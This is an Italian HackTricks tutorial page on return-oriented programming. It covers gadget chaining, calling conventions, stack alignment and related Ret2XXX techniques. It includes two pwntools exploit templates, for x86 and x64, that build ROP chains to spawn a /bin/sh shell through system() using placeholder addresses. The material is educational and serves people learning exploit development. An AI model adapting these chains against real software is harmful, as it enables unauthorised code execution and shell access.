hacktricks/binary-exploitation/rop-return-oriented-programing
2024-04-12 00:06:29 +00:00
..
ret2lib Translated ['binary-exploitation/rop-return-oriented-programing/ret2esp- 2024-04-12 00:06:29 +00:00
README.md Translated ['binary-exploitation/heap/README.md', 'binary-exploitation/h 2024-04-10 15:33:28 +00:00
ret2csu.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:49:58 +00:00
ret2dlresolve.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:49:58 +00:00
ret2esp-ret2reg.md Translated ['binary-exploitation/rop-return-oriented-programing/ret2esp- 2024-04-12 00:06:29 +00:00
ret2vdso.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:49:58 +00:00
rop-syscall-execv.md Translated ['README.md', 'binary-exploitation/common-binary-protections- 2024-04-09 00:23:09 +00:00
srop-sigreturn-oriented-programming.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:49:58 +00:00

ROP - Return Oriented Programing

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Informazioni di Base

Return-Oriented Programming (ROP) è una tecnica avanzata di exploit utilizzata per aggirare misure di sicurezza come No-Execute (NX) o Data Execution Prevention (DEP). Invece di iniettare ed eseguire shellcode, un attaccante sfrutta pezzi di codice già presenti nel binario o nelle librerie caricate, noti come "gadget". Ogni gadget termina tipicamente con un'istruzione ret e esegue una piccola operazione, come spostare dati tra registri o eseguire operazioni aritmetiche. Concatenando questi gadget, un attaccante può costruire un payload per eseguire operazioni arbitrarie, aggirando efficacemente le protezioni NX/DEP.

Come Funziona ROP

  1. Controllo del Flusso di Esecuzione: Innanzitutto, un attaccante deve dirottare il flusso di esecuzione di un programma, tipicamente sfruttando un buffer overflow per sovrascrivere un indirizzo di ritorno salvato nello stack.
  2. Concatenazione di Gadget: L'attaccante seleziona attentamente e concatena i gadget per eseguire le azioni desiderate. Ciò potrebbe coinvolgere la configurazione degli argomenti per una chiamata di funzione, la chiamata della funzione (ad esempio, system("/bin/sh")), e la gestione di eventuali operazioni di pulizia o aggiuntive necessarie.
  3. Esecuzione del Payload: Quando la funzione vulnerabile ritorna, anziché tornare a una posizione legittima, inizia ad eseguire la catena di gadget.

Strumenti

Tipicamente, i gadget possono essere trovati utilizzando ROPgadget, ropper o direttamente da pwntools (ROP).

Esempio di ROP Chain in x86

Convenzioni di Chiamata x86 (32-bit)

  • cdecl: Il chiamante pulisce lo stack. Gli argomenti della funzione vengono spinti nello stack in ordine inverso (da destra a sinistra). Gli argomenti vengono spinti nello stack da destra a sinistra.
  • stdcall: Simile a cdecl, ma il chiamato è responsabile della pulizia dello stack.

Ricerca di Gadget

Innanzitutto, supponiamo di aver identificato i gadget necessari all'interno del binario o delle sue librerie caricate. I gadget di nostro interesse sono:

  • pop eax; ret: Questo gadget estrae il valore in cima allo stack nel registro EAX e quindi ritorna, consentendoci di controllare EAX.
  • pop ebx; ret: Simile al precedente, ma per il registro EBX, consentendo il controllo su EBX.
  • mov [ebx], eax; ret: Sposta il valore in EAX nella posizione di memoria puntata da EBX e quindi ritorna. Questo è spesso chiamato un gadget write-what-where.
  • Inoltre, abbiamo a disposizione l'indirizzo della funzione system().

Catena ROP

Utilizzando pwntools, prepariamo lo stack per l'esecuzione della catena ROP come segue mirando ad eseguire system('/bin/sh'), nota come la catena inizia con:

  1. Un'istruzione ret per scopi di allineamento (opzionale)
  2. Indirizzo della funzione system (supponendo ASLR disabilitato e libc conosciuta, maggiori informazioni in Ret2lib)
  3. Segnaposto per l'indirizzo di ritorno da system()
  4. Indirizzo della stringa "/bin/sh" (parametro per la funzione system)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Esempio di Catena ROP in x64

Convenzioni di chiamata x64 (64-bit)

  • Utilizza la convenzione di chiamata System V AMD64 ABI su sistemi simili a Unix, dove i primi sei argomenti interi o puntatori vengono passati nei registri RDI, RSI, RDX, RCX, R8 e R9. Gli argomenti aggiuntivi vengono passati nello stack. Il valore di ritorno viene inserito in RAX.
  • La convenzione di chiamata Windows x64 utilizza RCX, RDX, R8 e R9 per i primi quattro argomenti interi o puntatori, con argomenti aggiuntivi passati nello stack. Il valore di ritorno viene inserito in RAX.
  • Registri: I registri a 64 bit includono RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP e R8 a R15.

Ricerca di Gadget

Per il nostro scopo, concentriamoci sui gadget che ci permetteranno di impostare il registro RDI (per passare la stringa "/bin/sh" come argomento a system()) e quindi chiamare la funzione system(). Supponiamo di aver identificato i seguenti gadget:

  • pop rdi; ret: Estrae il valore in cima allo stack in RDI e poi ritorna. Essenziale per impostare il nostro argomento per system().
  • ret: Un semplice ritorno, utile per l'allineamento dello stack in alcuni scenari.

E conosciamo l'indirizzo della funzione system().

Catena ROP

Di seguito è riportato un esempio che utilizza pwntools per configurare ed eseguire una catena ROP mirata a eseguire system('/bin/sh') su x64:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

In questo esempio:

  • Utilizziamo il gadget pop rdi; ret per impostare RDI all'indirizzo di "/bin/sh".
  • Saltiamo direttamente a system() dopo aver impostato RDI, con l'indirizzo di system() nella catena.
  • Il gadget ret_gadget viene utilizzato per l'allineamento se l'ambiente di destinazione lo richiede, il che è più comune in x64 per garantire un corretto allineamento dello stack prima di chiamare le funzioni.

Allineamento dello Stack

L'ABI x86-64 garantisce che lo stack sia allineato a 16 byte quando viene eseguita un'istruzione call. LIBC, per ottimizzare le prestazioni, utilizza istruzioni SSE (come movaps) che richiedono questo allineamento. Se lo stack non è allineato correttamente (cioè RSP non è un multiplo di 16), le chiamate a funzioni come system falliranno in una catena ROP. Per risolvere questo problema, aggiungi semplicemente un gadget ret prima di chiamare system nella tua catena ROP.

Differenza principale tra x86 e x64

{% hint style="success" %} Poiché x64 utilizza registri per i primi argomenti, spesso richiede meno gadget rispetto a x86 per chiamate di funzioni semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio degli indirizzi più ampio. Il numero maggiore di registri e lo spazio degli indirizzi più ampio nell'architettura x64 offrono sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP). {% endhint %}

Esempio di catena ROP in ARM64

Principi di base di ARM64 e convenzioni di chiamata

Controlla la seguente pagina per queste informazioni:

{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}

Protezioni contro la ROP

  • ASLR e PIE: Queste protezioni rendono più difficile l'uso della ROP poiché gli indirizzi dei gadget cambiano tra le esecuzioni.
  • Stack Canaries: In caso di BOF, è necessario aggirare lo stack canary per sovrascrivere i puntatori di ritorno per abusare di una catena ROP.
  • Mancanza di Gadget: Se non ci sono abbastanza gadget, non sarà possibile generare una catena ROP.

Tecniche basate su ROP

Nota che la ROP è solo una tecnica per eseguire codice arbitrario. Basandosi sulla ROP sono state sviluppate molte tecniche Ret2XXX:

  • Ret2lib: Utilizza la ROP per chiamare funzioni arbitrarie da una libreria caricata con parametri arbitrari (di solito qualcosa come system('/bin/sh').

{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}

  • Ret2Syscall: Utilizza la ROP per preparare una chiamata a una syscall, ad es. execve, e far eseguire comandi arbitrari.

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

  • EBP2Ret & EBP Chaining: Il primo sfrutterà EBP invece di EIP per controllare il flusso e il secondo è simile a Ret2lib ma in questo caso il flusso è controllato principalmente con gli indirizzi EBP (anche se è necessario controllare anche EIP).

{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}

Altri Esempi e Riferimenti